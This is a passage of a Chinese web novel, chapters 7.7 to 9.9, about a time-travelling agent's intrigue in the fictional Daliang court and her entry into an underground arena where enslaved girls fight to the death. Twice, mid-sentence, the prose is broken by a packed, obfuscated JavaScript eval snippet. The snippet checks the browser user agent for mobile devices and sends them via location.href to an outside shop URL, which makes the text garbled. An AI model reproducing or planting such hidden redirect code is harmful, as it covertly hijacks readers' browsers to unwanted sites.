《首席今天攻略成功了吗》 7.7 话音落下,几帧零碎破旧的画面在裴璟眼前闪回重现,檐下烛灯晕开的朦胧光影温柔掠过他的眉眼,于无声处惊起万丈波澜。 那是‘初次’见面时,他如从前几千个日夜一般重复、麻木地泡在难闻刺鼻的药浴中,而下一刻屋檐上覆雪的瓦片松动,手中那枚竹签摔在地上发出清脆的声响。 少女从天而降,抬眼准确无误看向他的那个瞬间,窗棂外投射进来的光打在竹签上,也将他未曾查看的签文展露无遗。 诸事顺遂,百事皆宜。 是个上上签。 或许再拉远些,承平四年冬,皖鸿将军裴骁璎战死沙场,裴家地位一落千丈,新仇旧恨接踵而至,无数人落井下石,恨不得将其残余势力一网打尽,让裴家永无翻身可能。 裴府上下吊唁的第三个月,女子不慌不忙地拿着信物找上门,她的神情永远那样从容不迫,仿佛世间万物都不配入她眼,而落在他身上的眼神却好像能安定动荡山河。 从裴璟记事起,女子就在他身边以师父自居。 “你为什么要教我这些?” 她悠哉悠哉地躺在竹椅上,嘴里叼着根稻草一上一下晃着,随口道:“受人之托,忠人之事。” “我不信。” “那你说,我应该怎么才能让你相信我没有恶意?” “……我不知道。” 女子闻言叹了口气,她直起身,若有所思地围着他转了几圈,似乎是在思考找什么借口为好,最后很没诚意地道:“初次见面,便觉有缘。” 这个蹩脚低级的理由不是得到他信任的依据,却是一颗让裴璟得以喘息的定心丸。 后来他每一次精疲力竭,汗水打湿胸前衣襟,每一次失败跌倒,累到握不住剑,每一次认为仅凭自己绝对不可能做到某件事时,她都会懒懒地倚在一边说:“我相信你。” 于是每一次,裴璟都有重头再来的勇气。 “……” 时过境迁,那些过往时光匆匆奔流中本就属于他、甚至合该融进血液里的尖锐戾气倾泻而出,沸腾咆哮,最终偃旗息鼓,在她面前销声匿迹,化作一声微不可查的叹息。 烛火下,温嘉懿的嘴角微微勾起:“你觉得呢?” 枷锁和镣铐被人用钥匙轻柔解开,裴璟眸光极轻地看着她缓声道:“自当如此。” 她唇边的笑意更甚,直言不讳道:“那么第一件事,我要重查林婧若当年之死。” “这件事说难不难,说简单也不简单。景康初年,教坊司背靠谢家兴风作浪,若无谢家撑腰,给他十个胆子也不敢谋杀太常寺卿,只要顺着教坊司和谢家的这层关系查,总能摸出蛛丝马迹。” “而问题在于,谢家纵横朝野,势力盘根错节,再加上此案时间久远,当初大理寺结案时又写得暴毙而亡,就算查到谁是凶手,以谢家今时今日的地位,恐怕也难上公堂。” 裴璟仔细听她的想法,时不时点头示意。 “所以我打算……从地下赌场入手。” 既然谢家一时动不了,就先收拾天音楼那群杂碎。 在天音楼混迹的那几日,温嘉懿一直没能找到机会进入地下赌场。 此地隐蔽难寻,知道具体位置的人大多是京中喜好骄奢淫逸的花花公子,每每状似无意和罗沁提起时,对方都会劝自己莫要多言。 当年因天音楼在名义上和教坊司合作,即便有太常卿和楼中几位舞姬的告发检举,这桩贩卖人口的龌龊事还是在各方包庇纵容下大事化小,今朝若东窗事发人尽皆知,便足以将整栋楼暂时查封,一举毁去这些肮脏皮肉交易。 上元佳节,地下赌场重开,往来之人鱼龙混杂,是她最好的下手时机。 这一天,也是信中温家家主要与她见面的日子。 “能进地下赌场的通常只有两种人,一种是被明码标价贩卖的猎物,一种是高高在上的买家猎手。猎物是猎手发泄□□的玩具,他们或被迫、或自愿来到这里,在众目睽睽之下被达官贵族争抢拍卖,没有任何方式可以逃出生天。” “但如果……被起哄竞拍的猎物是一位世家女呢?” 是京城三大世家中,温家未来的少主呢? 世道讲权论势,拜高踩低,以平民之身相抗衡无异于以卵击石。 对付他们,唯有以暴制暴,以毒攻毒。 她这具身体的世家女身份,在此刻就是最好最趁手的武器。 裴璟眸光安静地看着温嘉懿,她主动暴露另一身份传来示好信号,他却未置一词,漆黑如墨的眼中半分诧异也无,只是低声道:“你会有危险。” “嗯?我知道你想说,此地凶险,稍有不慎,便会死无全尸。”温嘉懿收回思绪,漫不经心地笑了笑:“放心吧,在这个时代,谁都有可能意外横死,唯独我不会。” “郁家、谢家,乃至整个大梁皇室,无论是谁有违本心,有悖天理,在不改变结局的前提下,我都会让他们付出应有的代价。” 林婧若拼尽全力也没能递出去的证据,她会薪火相传替她完成。 因果轮回,报应不爽。 温嘉懿将方才自己拿走的《左传》重新调转方向摆在裴璟面前,那行字便自然而然出现在他视野里。 ——多行不义,必自毙。子姑待之。 视线下落,裴璟一怔。 “在此之前,我需要先见一个人,这个人处理起来……比较麻烦,我可能要管你借一些东西。” “好。” 答应得倒爽快,温嘉懿稍稍挑眉道:“你都不问我需要什么就答应?就不怕我借你之手杀人越货?” “我相信你。” 温嘉懿笑得眉眼弯弯,无缝切换回原来的称呼:“殿下,我有时候都在怀疑……你是不是个机器人。” 这对裴璟来说是个新鲜词汇,他轻轻合上书,一双澄澈干净的眸中似有不解,没有第一时间回答。 她转而悠悠道:“只会说‘抱歉’和‘我相信你’。” 几点光影打在他的鼻尖上,裴璟很快明白过来她的意思,动作略显僵硬地顿了下,接着小声反驳她的话。 “我还会说,路上小心。” * 依照大梁祖制,每年正月十五,皇帝都需乘车巡游、祭祀天神,在城墙上承万民愿,受万民礼。 祭天游神往年都由皇帝亲自主持,几位皇子公主随行侍奉,彰显君民一体同心,今年却将此事全权交在三皇子一人手上,许他以半幅帝王仪仗出行巡游。 朝野上下议论纷纷,陛下正值壮年,储位之事不宜过早下定论,众皇子中,三皇子秦书德才兼备,品行出众,确实不失为有力的竞争人选。 陛下让三皇子替他祭祀天神,难道是存了立秦书为太子之心? 这倒无妨,只是秦书虽才华横溢,满腹经纶,但出身实在寒微,其生母身份卑贱,不过一介小小宫婢,品阶极低,阴差阳错一夕之幸才有了他,故而多年来一直深居简出,免世俗烦扰。 若真论起嫡庶尊卑,大皇子是当今皇后谢宁所出,似乎更当得起一句名正言顺,且名震四海的皖鸿将军谢悬又是他的亲舅舅,拥护他上位似乎是必然之举。 鎏金铜炉里燃着的龙涎香气味清冽,文德殿内满座寂静,周遭沉闷凝结的气氛如一张密不透风的网裹住所有人,直压得喘不过气来。 明黄色的龙袍流转出细碎金光,桌案边的奏折堆起数尺高,皇帝神色沉静地抬眼扫过台阶下众大臣,一言不发。 大殿中,以温缚修和谢悬为首的老臣站成规整肃穆的两列,立于台阶之下。 分庭抗礼,立场分明。 表面风平浪静,背地各怀鬼胎。 官帽下,谢悬身着暗紫色莲云纹朝服,腰间的七銙玉带上佩戴着一枚羊脂玉佩,无一不象征身份高贵,权势滔天。 他的两鬓已有几分斑白,微微俯首,恭敬下跪:“老臣愿保三殿下前往祭天游神。” 这句不轻不响的话像一声行动的号令,伴随着话音落下,他身后的军机重臣依次俯身叩首,面容毫无惧色,齐声道。 “臣愿保三殿下祭天游神。” “臣愿保三殿下祭天游神。” “臣愿保三殿下祭天游神。” “……” 片刻后,另一侧的温缚修拢袖跪下,侧目看了谢悬一眼,未再言语。 * 夜幕降临,城内细乐声喧,张灯结彩,一派繁华奢靡的景象。 湖边漂浮着一片五彩花灯,温嘉懿戴着银色面具,末尾处的弯钩向上攀绕在耳侧,将脸遮得严实,如瀑的墨发松松挽起,露出纤细脖颈。 她站在湖边,手中提着一盏莲花形状的花灯,微风吹动衣襟上的绒毛,金线勾勒出的蝴蝶展翅欲飞。 上元佳节,三皇子乘车夜游的事在京中传得沸沸扬扬。 温嘉懿想起系统最开始派给她的任务。 【主线任务:将5213年前的大梁朝历史线拨乱返正】 【本次行动代号:温嘉懿】 【任务身份:大梁三皇子秦书贴身近侍】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16385310|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刚穿来大梁时,她发现自己恰好穿在了死去的039身上,察觉管理局中有叛徒出现,一心只想为她报仇,却未曾仔细考虑一件事。 实际上,想要造成一个时代的时空紊乱现象并非易事,至少形成的条件十分苛刻,多数情况下是该时代的最终结局正在产生改变的可能,需要时空管理局派人将这种可能扼杀在摇篮里。 在新公历时代的史书记载中,大梁朝的既定结局是三皇子秦书登基为帝,倘若三皇子继位失败,亦或在这个过程中有人比他的继位概率更高,便会导致时空紊乱。 但最说不通的一点就在于此,如今三皇子祭天夜游,风光无两,皇帝看上去也对他青睐有加,为何大梁还会出现紊乱现象? 造成时代紊乱的根源究竟是谁? 夜风吹起灯芯里的纸条,在花灯狭小的空间中胡乱飞舞拍打着,纸条上却一片空白,温嘉懿没有写任何愿望。 一道平静温和的视线落在她身上,她似有所察地抬眼看向桥上的人,幽深的眸底掠过几分意外。 不远处,裴璟戴着同她一样的面具,两人遥遥相望,那阵吹动她衣襟的晚风似乎于天地间肆意穿梭,也在不经意间轻拂过他的月白色衣衫,泛起春水波澜。 时下正值寒冬腊月,他穿得单薄,长身玉立站在桥上,没有说话,只静静地垂眸看她。 这个视角极好,他好像在俯瞰这一片放花灯的人,而视线稍稍偏折后又不偏不倚找到她的身影,继而看向她。 待温嘉懿回神时,裴璟已经悄无声息地走到她身边:“没许愿吗?” 温嘉懿诧异道:“你怎么来了?” “放心不下。” 她开玩笑道:“怎么?怕我认祖归宗以后不回来了?” 旁边桌案上有准备好的笔墨纸砚,裴璟知道她又在打趣他,径直绕到案前,提笔写下一句话,折叠好放进她的花灯里。 温嘉懿目不转睛地看着他的动作,将花灯递给他:“如果你有很多愿望的话,我这盏也给你好了。” 裴璟单膝跪地将花灯放入水中,抬眸看了她一眼,认真道:“我没有很多愿望。” “我所有的愿望,都已经告诉你了。” 他慢慢走到她身后,虚握着她的手腕,带她将花灯放入水中。 花灯顺水悠悠飘远,灯火在她清透的眸中徐徐燃烧。 “今夜务必小心。” “殿下,你说过很多次了。” 从温泉池引入湖中的水温暖,冬日里竟有大朵盛开的莲,两盏莲花灯并驾齐驱,在一片花灯中短暂相碰,又分离开来。 那原本空白的信纸上终于有了一行字:怀瑾握瑜,嘉言懿行。 * 巡礼的车队自城门缓缓驶入长安大道,轱辘碾过青石板路,由四匹骏马牵引的马车车身系着十六枚银铃,铃铛随颠簸晃动,声音穿破幽幽夜色,清脆悦耳。 筑起的城墙上忽有亮点升起,千万盏孔明灯被次第托举着高高飞天,如火树银花绚烂绽放,照彻黑夜。 馨香馥郁的花香扑面而来,随车护驾的皇家侍卫一路撒着花瓣为其开路,两侧的平民百姓身着布衣,沿街道跪拜叩首高呼。 “恭请殿下圣安。” “草民恭祝殿下福寿绵长。” “愿殿下保佑草民一家平安顺遂,无灾无难。” “……” 这是一条通往天音楼的必经之路,温嘉懿往长安大道上走,正巧遇上巡礼车队,心下微沉。 相宁寺内的木钟敲击碰撞声在这一刻猛然响起,响彻山谷,久久不散。 几片花瓣翩然掉落在她身前,温嘉懿前进的脚步骤然一滞,缓缓抬头看去。 马车四面的珠帘半垂,隐约可见车内男子挺拔如松的身影和一片绣着锦纹的玄衣袍角。 喧嚣嘈杂中,温嘉懿看不真切这位受万民敬仰的三殿下是何模样,而那种没来由的熟悉感却让她不自觉蹙眉。 柔软的白狐毛蹭过颈侧,男子就在此时轻抬眼睫,他抬手掀起珠帘,淡淡望向长安大道两侧虔诚叩首的黎民百姓。 月色清寒透亮,他的眸光无波无澜,仿佛一切许愿于他而言都似过眼云烟,他没有义务满足,连聆听都是来自上位者的施舍恩赐。 “三殿下千岁千岁千千岁——” “三殿下千岁千岁千千岁——” 温嘉懿闻声下意识低头,她单手护住银色面具,在鼎沸人群中逆流而行,再次与巡游车队擦肩而过。 他也收回视线。 8.8 长安城郊的几座宅院西邻相宁寺,自从有闹鬼的传闻流出后,便少有人来这边祈福。 传闻十分骇人,据说是一位江湖上有名的杀手在此地惨死,故请高人布阵施法驱邪。 筑起的围墙半塌,沉稳有力的脚步声由远及近响起,裴璟伸手推开门。 “吱呀”一声,阴森彻骨的寒凉气扑面而来,他身着月白色衣袍,单薄消瘦,冷淡的视线环顾四周。 屋子里烛灯亮起,微弱飘摇的烛火将人影拉得颀长。 掉漆的墙壁上挂了一副仕女图,裴璟侧目看了两眼,拿起桌案上的剪刀,在无名指上轻轻一划。 两滴殷红血珠冒出,他面无表情地将沾血的指腹按在画中女子的眼睛上。 机关旋转,紧闭的石门自中间向两边缓缓打开。 裴璟迈着步子走进,靴子踩在地面上,每一步都走得极慢。 石门关闭,他的眸光平静而幽深,在原地驻足了许久。 满屋的木架上摆了几百盏烛灯,一圈一圈围绕供奉着两个牌位。 长明不灭的烛火如同那场战役中长埋地底的英灵,承载着无数生魂和千万希冀,照映点亮他冷峻的侧脸,更平添些许诡谲。 裴璟负手而立,系在耳垂的玉珠好似有感应一般滚烫灼热起来,他将其摘下,拿在手中仔细端详。 无名指上未擦尽的血渍不慎染红了玉,与底端系着的鲜亮红绳交相辉映,也让上面因岁月变迁而变得浅淡的痕迹再次清晰重现。 ——怀瑾。 裴璟握紧玉珠,拇指抚过那几道鲜明的纹理,像是想起什么,没来由地弯了眼角。 “师父,只有你能帮我了。” “在这个世界上,我也只剩下你。” * 扬起的尘土犹如浪潮般汹涌袭来,温嘉懿向裴璟借的这匹马鬃毛颜色极纯极正,喧嚣沸腾的马蹄声裹着风席卷而至,踏碎一地枯枝。 她绕过巡游车队,往京郊的这条小路走。 视线尽头处,一辆马车正朝侧旁的偏僻小道拐去。 温嘉懿唇角微勾,眼神逐渐冰冷,她松开缰绳,反手抽出一支铁箭,手挽长弓,箭矢对准的方向却不是车夫的心口。 下一刻,一支毒箭离弦而出,直直射入车夫的眉心,他双目圆睁,向后栽倒摔下马。 马车顿时失控,在惯性作用下猛然朝前冲去,藏匿于林中的暗卫闻声纵身一跃,身形快似鬼魅,手持利刃朝温嘉懿扑来,直逼面门。 两道寒光乍现,她眉目沉静,拉弓搭箭的动作一气呵成,箭羽与北风擦身而过,精准无误射中最后一名暗卫的腹部。 箭尾浸了剧毒,只消片刻,几名暗卫像断了线的傀儡般从半空中纷纷坠落,七横八落地躺在地上,晕开一摊黑红血迹。 滚动的车轮骤然顿住,溅起满地碎石,马车的缰绳被车内女子及时探身扯住,在千钧一发之际阻止了车毁人亡。 窸窣的衣料婆娑声此起彼伏响起,像是失去最后一层可以倚仗的保护罩,车厢内的青年终于惊慌失措起来,似乎在思索该如何弃车而逃。 “你究竟是谁?!你可知暗杀朝廷命官是砍头……不,诛九族的罪名!” 不远处隐约传来青年崩溃颤抖的声音,温嘉懿恍若未闻,抬手从袖中毫不留情地甩出一排毒针,根根命中要害钉破车壁,穿透车厢。 “砰——” “砰——” “砰——” 车厢的碎裂声和爆破声接连响彻云霄,呛鼻的烟味碾碎浓浓夜色。 车内两人相拥摔下,温嘉懿迎风而行,双腿紧紧一夹马腹,骏马疾速向前奔去,即将踏过两人身体时,前蹄忽然高高抬起,稳稳停在青年和女子面前。 “……” 那种挥之不去的恐惧感如影随形,如午夜梦回时鬼魂索命般缠绕窒息,青年狼狈仰倒在地上,大口大口喘着粗气,女子却自始至终以身相护挡在他前面,目光如炬。 风吹动温嘉懿的衣摆,猎猎翻飞,她单手摘下银色面具,面带微笑。 “别来无恙,兄长。” 温子瑜,原身同父同母的亲哥哥。 因不满原身自小便被父亲立为下任温家少主,多年来一直对她怀恨在心,意欲除之而后快。 “兄长要诛谁的九族?”她复又笑着指了指自己:“我吗?” 温子瑜被她吓得三魂丢了七魄,直到看清来人,才脸色铁青道:“温瑾,居然是你?你没死?!” 温嘉懿缓缓攥紧手中缰绳,与他一高一低遥遥对望,神色自若地套话:“兄长与我多年未见,一出口便是如此不吉利的话,嘉懿实在伤心。” 下一瞬,她手中的剑锋峰回路转,不由分说直指他的喉管:“兄长要去哪儿?今夜上元夜宴,王侯将相皆携亲眷出席受礼,兄长不随父亲一道,怎么还跑来天音楼附近了?” 他闻言紧张地吞咽口水,眼神飘忽地看向四周:“我、我……” “你想去找谁?谁告诉你我死了?” 那柄剑一上一下,在他喉管处不紧不慢地剐蹭,温子瑜压根承受不住这种威胁,闭眼胡乱道:“是有人传信告诉我你死在裴府,还再三告诫,要我向父亲隐瞒此事秘不发丧,待事情平息后……我便能顺理成章成为下任温家少主,你相信我!我什么都不知道!” 他倒是言辞恳切,恨不得把一颗心剖出来以鉴真伪,温嘉懿也不知是信了还是没信,姿态悠闲地安坐马上:“那封信,是你写给我的吧。” “……” “将我约至天音楼试探我的死活,你的车夫还在裴府射了我一箭,若非我躲避及时,恐怕就没命再见到兄长了,今日我以牙还牙给他一箭,不算过分吧?” “……不过分。” 温嘉懿满意地点点头,接着从袖中拿出一封密函晃了晃,语气稀松平常,似乎在说一件微不足道的小事:“昨日郁霖给你的信,被我截下了。” “……” 温子瑜脸上的血色霎时褪得一干二净,神情变了又变,只听她继续道:“谢郁两家同气连枝,一荣俱荣,一损俱损。谢悬力排众议拥护秦书祭天夜游,郁霖却为大皇子主动向你低头拉拢温氏,以这两家过密的关系,兄长就不好奇,为什么谢悬不保自己的外甥上位,就不怕郁家从此与他们翻脸?” 此事最大的疑点就在于,一笔写不出两个谢字,谢家自大梁开国以来就是铁打的皇亲国戚,儿女世代为将为后,039的口述中谢悬深受皇室庇佑,既然如此选谁不是选,为何不选自己妹妹的儿子? 见他依旧不答,温嘉懿惋惜地摇头,将密函一点点撕碎,随手向上一抛:“看来当年郁霖科举舞弊之事……” 顷刻间,一阵风卷起地上的碎屑,温子瑜骤然睁开眼看向她,惊疑和忌惮在他眼底不停翻涌,吐息断断续续发颤:“你不是温瑾,你究竟是谁?” “嗯?”温嘉懿反应过来笑了笑:“兄长在说什么呢?我怎么会不是嘉懿呢。” “兄长想问我是怎么知道此事的?”她利索地翻身下马:“那么接下来,乖乖回答我的问题,你想知道的,我都会告诉你。” 温嘉懿收剑半蹲在他身前,上下打量了温子瑜一番,嫌弃的意味溢于言表,转而对那女子缓声道:“姑娘,你是自愿的?” 女子冷冷瞥了她一眼,旋即将温子瑜护得更紧了些。 “……”温嘉懿嘴角抽了抽,暗自腹诽一句什么眼光:“兄长,别紧张。” 温子瑜欲哭无泪,只得咬牙怒吼:“你都要将我杀了,现在还要我别紧张?!是你疯了还是我疯了?” 她淡淡垂眸,装作没听见他的话,模样无辜道:“兄长好不好奇我说的话都没关系,我做这么多,是想让兄长帮我一个小忙罢了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16409274|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “什么忙?你要干什么?”温子瑜警惕地看着她:“我告诉你,别想让我……” 温嘉懿一贯懒得听废物说这些无意义的废话,径直打断道:“我要进地下赌场。” “地下赌场?” “没错。”她漫不经心地应声,将腰间挂着的令牌解下来丢给他:“我需要兄长将我送进去,然后拿我的信物回温府,告诉父亲,我如今人不在裴府,被天音楼的掌事带走了。” 话已至此,温子瑜再木讷蠢笨也猜到自己这个便宜妹妹想做什么,他不可置信道:“温瑾,你兜了这么大一个圈子就是为了送死?你想死别拖累我!更别拖累整个温家!地下赌场幕后之人是谁你不清楚吗?你有几条命敢去找他的麻烦?” “人不犯我,我不犯人。” “大皇子与你有什么关系,你竟恨他恨到要毁掉他的赌场。”温子瑜默默扯住身边女子的衣袖,接过令牌试探道:“你一直养在相宁寺,怎么可能和他有过接触?” 温嘉懿笑着看了他一眼。 都什么时候了,还分不清眼前局势,想套她的话,想知道她为谁卖命。 既然温子瑜不够听话,那么她自然没有义务回答他的问题,清透明亮的目光落在那女子身上,问道:“你叫什么?” 女子转头闭口不言,温嘉懿笑了笑,作势向温子瑜拔剑,她忍无可忍道:“素箩。” “这就对了,识时务者为俊杰。”温嘉懿伸手拍了拍裙摆上并不存在的尘土,施施然站起身:“兄长,你不需要知道我为谁卖命,也不需要知道我在储位之争中更属意谁,这些都不是你需要考虑的。” “你只要需要知道,我所做的一切,都是为了温家,为了大梁。” 温子瑜只得求助地看向素箩,后者朝他微微颔首,示意他可以信温嘉懿。 这两人的眼神交流旁若无人,温嘉懿见状挑眉道:“本来我是想趁此机会回温家的,但今日见到素箩姑娘,我忽然有了一个更绝妙的想法,兄长想不想听?” “……” “嗯?” “……想。” 她犀利的眸光宛若实质般一寸寸剜过素箩的脸,对她一字一句道:“我要她,作为温家少主温瑾,跟我一起进入地下赌场。” 不等温子瑜拒绝,温嘉懿又道:“兄长放心,有我在,自会护她无虞,只需她以少主名义出现在赌场而已,等事情结束,我保证她自会毫发无伤的回到兄长身边。” 素箩依旧冲他点头,温子瑜却道:“你怎么确定我就知道地下赌场的具体位置,万一我也不甚清楚,或者我带你走错了怎么办?” 温嘉懿理所当然道:“嗯?像兄长这种不学无术得个荫封便万事大吉的纨绔子弟,知道地下赌场在哪不是很正常吗?” “……” “倘若兄长带错了路……”她唇边的笑意只增不减:“我也不想再拖无辜之人下水,所以兄长最好懂事,对你对我,都好。” “这几年嘉懿在相宁寺吃斋念佛久了,实在是看不得那些打打杀杀的事,若能顺利渡过这一关,那便是上苍庇佑。” 温嘉懿无可奈何地叹了口气:“兄长还不知道吧,前些日子嘉懿在相宁寺敬香祈福,有一个生得极其俊美的少年不慎从屋檐上摔了下来,从天而降,与我一见如故。” 那一日,长窗外大雪漫天,檐下的寒霜凝结。 “虽说是初次见面,我却觉得和这少年十分投缘,当即就问他愿不愿意做我的徒弟。” 温子瑜目瞪口呆。 “他忙不迭地点头,说这辈子能得我这个师父,乃是三生有幸。” “我这个徒弟气量极小,若他离了我不在身边,恐怕要将整个大梁搅得天翻地覆不得安宁,到时候,妹妹就难护兄长平安了。” 温子瑜:“……” 苍天啊,这都在说些什么啊?! 9.9 “这批货都打哪儿来的?里面有两个生得细皮白肉的,不像‘本地人’啊。” 一行人醉气醺醺,拎着几条铁链和刑具走过长廊,落在最后面的不以为意道:“城外的贫民窟呗,不然还能是哪儿?你看错了吧。” “也是。” 一盆凉水兜头泼下,温嘉懿呛咳着吐出几口混浊的水,她猛地睁开双眼,下意识晃了晃昏沉的头。 “……” 水珠顺着发梢滑落,眼前模糊不清的黑影逐渐凝聚,她强忍下胸口钻心刺骨的疼痛,立刻冷静下来将视线环顾四周。 这间地下囚室的铁笼外面罩了一层密不透风的黑纱布,有十几位同她年纪相仿的少女被关在此,她们筋疲力尽地闭着眼,背靠在发霉腐坏的墙壁边缘,疲惫蜷缩在枯草堆里睡去。 多数人的脸庞伤痕累累,裸露在外的皮肤血迹斑斑,似乎已经不是第一天受到这种非人折磨,神色几近麻木,甚至看上去有些逆来顺受。 室内光线昏暗阴沉,空气中隐隐弥漫着一股酸腐的铁锈味,混杂了浓重的血腥气,温嘉懿承认来之前做了一些心理准备,她知道来到地下赌场的人一定会被折磨得不成样子,还再三告诫自己不能意气用事。 但实际上身临其境看到此情此景时,暴虐凛然的杀意依旧在她心间盘旋,涨到发疼。 温嘉懿攥紧掌心,低头望向自己身上的囚服,才发觉上面大喇喇地写着几个血字。 柒拾壹/伍 这几个数字让她不自觉地蹙眉,转而看向其他人,除了序号不同,她们的囚服上都有着和她一样的血字。 “……” 温嘉懿心中缓缓升起一种不详的预感。 周遭安静得过分,温度却又冷得如冰窖一般,过了约莫一柱香左右的时间,素箩在她对面醒来,温嘉懿眼神沉静,不着痕迹地朝她摇头,示意她切勿轻举妄动。 素箩缓过神,揉了揉酸痛的手臂,微微颔首。 见她平安转醒,温嘉懿才有功夫沉下心来思考。 在温子瑜的帮助下,她和素箩成功进入地下赌场,但这只是计划中的第一步。 接下来,被关在这里的人要去做什么,又或者说她们一直在做什么,她全都一无所知。 而且不可避免的是,这其中还存在一种最坏的结局,如果温子瑜没有如约及时赶到,她不能坐以待毙,需要先行了解这里的复杂地形以便带着素箩逃跑。 温嘉懿很快整理完思绪,目光瞥向距离自己最近的一位少女,变脸比翻书还快,凑过去小心翼翼道:“姐姐?” 那人懒懒地靠在墙壁上,闻言眼皮都未抬一下,始终闭目养神不予理会。 出师未捷身先死。 既然有意从她口中套话,温嘉懿便不会轻易气馁,锲而不舍道:“姐姐,你可不可以理理我?我感觉脚踝有点疼,好像扭到了。” 说完,她的语调里染了点不易察觉的委屈道:“姐姐,我真的没有恶意,只是想多了解一下这里的情况,方便以后好做事。因为幼时家中贫寒,父母要供几个哥哥弟弟读书,我才被人牙子几经周折卖到这的,实在不懂这里的规矩,不知道咱们一会要被带到哪去。” “姐姐你姓什么?我姓……” 她的话很密,听着有些叽叽喳喳的,但生命力却很旺盛,带着十几岁少女未经世事时应有的一点天真,而这点难得的懵懂此刻在一片死寂的牢狱中却显得无比生硬突兀。 那人终于不耐烦地睁眼看向温嘉懿,开口冷冷吐出一个字:“林。” 尾音刚落,那人复又闭上眼,仿佛这个字就足够证明她的实力,以及她有多不好惹。 不过事实证明,这个字确实十分奏效,温嘉懿果然停住了那些没完没了的问题,她微不可查地敛眸,最终将视线放在那人囚衣的序号上,久久没能移开。 壹。 后面没有斜杠和任何数字。 角落里,一位少女悄然睁眼,伸手擦掉脸侧的灰尘,眸中清亮明净,将她们的对话尽数听入耳中。 不久后,牢笼外有交谈的声音由远及近响起。 “货都备好了?” “都备好了,我做事您放心。” 掌事点头:“尤其是第三场,若出事,你我掉几个脑袋都不够。” “是。” 随着谈话结束,这层用来掩人耳目的黑纱布最终被人一把掀开。 强光无孔不入地渗漏进来,晕眩刺目又叫人不敢直视,一时间,铁笼外看客的欢呼声与喧闹声齐齐迸发,震得人耳膜发颤流血。 天光乍破,几十个昏暗的囚室仿佛被彻底燃烧点亮。 铁镣在地上拖动的刮擦声十分刺耳,温嘉懿却浑然不觉,她缓缓站起身,好似脑海中有一道无形的指引,驱使她迫不及待地抬手抓住铁笼摇摇欲坠的栅栏,向外看去。 只一瞬间,温嘉懿瞳孔骤缩,呼吸停滞。 “……” 饶是她来往穿梭于各个世界,见识过管理局禁闭室那么多的残酷刑罚,也很难简单用语言去形容看到的这一幕。 这是一个呈倒置状的四面体建筑,视野中央有一片巨大的、空无一物的斗兽场,里面填满了黄沙泥土,而她们这些人作为低贱丑恶的“奴隶”,则被关在最底端的狭小隔间里,姿态卑微地仰望台上看客。 视线抬高,座无虚席的达官贵族一圈又一圈依附世家势力攀绕而上,他们面上的表情嬉笑欢闹,热烈讨论着今日有哪些人会从死门中被抬出去,又有哪些人会半死不活地从生门中走出去。 他们心照不宣的以屠杀“奴隶”为乐,从作贱“奴隶”中获取无与伦比的快感。 “……” 自从来到这个时代后,温嘉懿第一次感到难以置信,或者她不愿相信。 天音楼的地下赌场,居然是一个角斗场。 准确来说,是一个以人为筹码肆意厮杀的角斗场。 最高处的看台上,天音楼的掌事命人搬来了一个高达几米的黑箱子,他站在建筑上,大手伸进去搅动着,从中抽取两张纸条,毫无保留地向台下展示,兴奋道:“第一场,由柒对战……壹!” 闻言,台下掀起的起哄声此起彼伏,阵阵高亢。 “壹一直是赌场的无冕之王,上场以来从未有过败绩,今日面对后起之秀的柒,是否能依旧捍卫她的荣耀呢?” “左边下注为压壹,右边下注为压柒。” “咚——” 一锤落下,众人瞬间拿着万两白银开始疯狂下注。 那人脚腕上的镣铐被解开,身侧那一块枯草的塌陷也渐渐变得平整,她在温嘉懿的密切注视下起身,径直走向斗兽场中央。 两柄剑被掌事人从高处扔下,壹面无表情地单手接住,她出剑的速度很快,快到温嘉懿几乎看不清她的身影,壹是以报复的形式在虐杀柒,仿佛与他有什么深仇大恨一般。 两人根本没有势均力敌之说,完全是一方对另一方的碾压。 柒死不瞑目地倒在染血的黄沙堆上,被抬去死门时,连一柱线香都未燃尽。 台上的欢呼声更甚从前,万众瞩目中,壹随手扔剑下了斗兽场,她头也不回地走向不远处的生门,却抬头轻蔑地看了苍穹顶一眼。 然而第二场不会因为柒的死亡而暂停,新的一轮厮杀很快就要开始,掌事继续在黑箱子中抽取对战人选,展开纸条道:“第二轮,由肆拾柒对战……贰拾壹。” 他照旧说着属于自己的台词:“两位都是新人,看来这场比赛会很精彩。让我们拭目以待。” “左边下注为压肆拾柒,右边下注为压贰拾壹。” “咚——” 那一锤再次落下,一束斜射进来的光打在两人囚衣上,温嘉懿发觉这两人和她是同一个囚室的,她们对视一眼,越过她走出铁牢,也从黑暗走向光明。 温嘉懿眯眼辨认出了那几个扭曲的血字序号,在抬眸一瞬间看清了“肆拾柒”的脸。 “……” 不同于场上曾经的其他对战者,那位被唤作“肆拾柒”的少女竟是和“贰拾壹”携手一同走进角斗场中央的。 罗沁向前走着,紧紧拉住“贰拾壹”的手腕,姿态亲密,步履不停。 就在此时,系统冰冷机械的提示音在温嘉懿脑海中响起。 【恭喜您解锁剧情人物:秦明月】 【年龄:十六】 【身份:大梁皇室七公主】 “……” 她骤然看向角斗场中央携手共进的两人。 电光火石间,温嘉懿明白了一切。 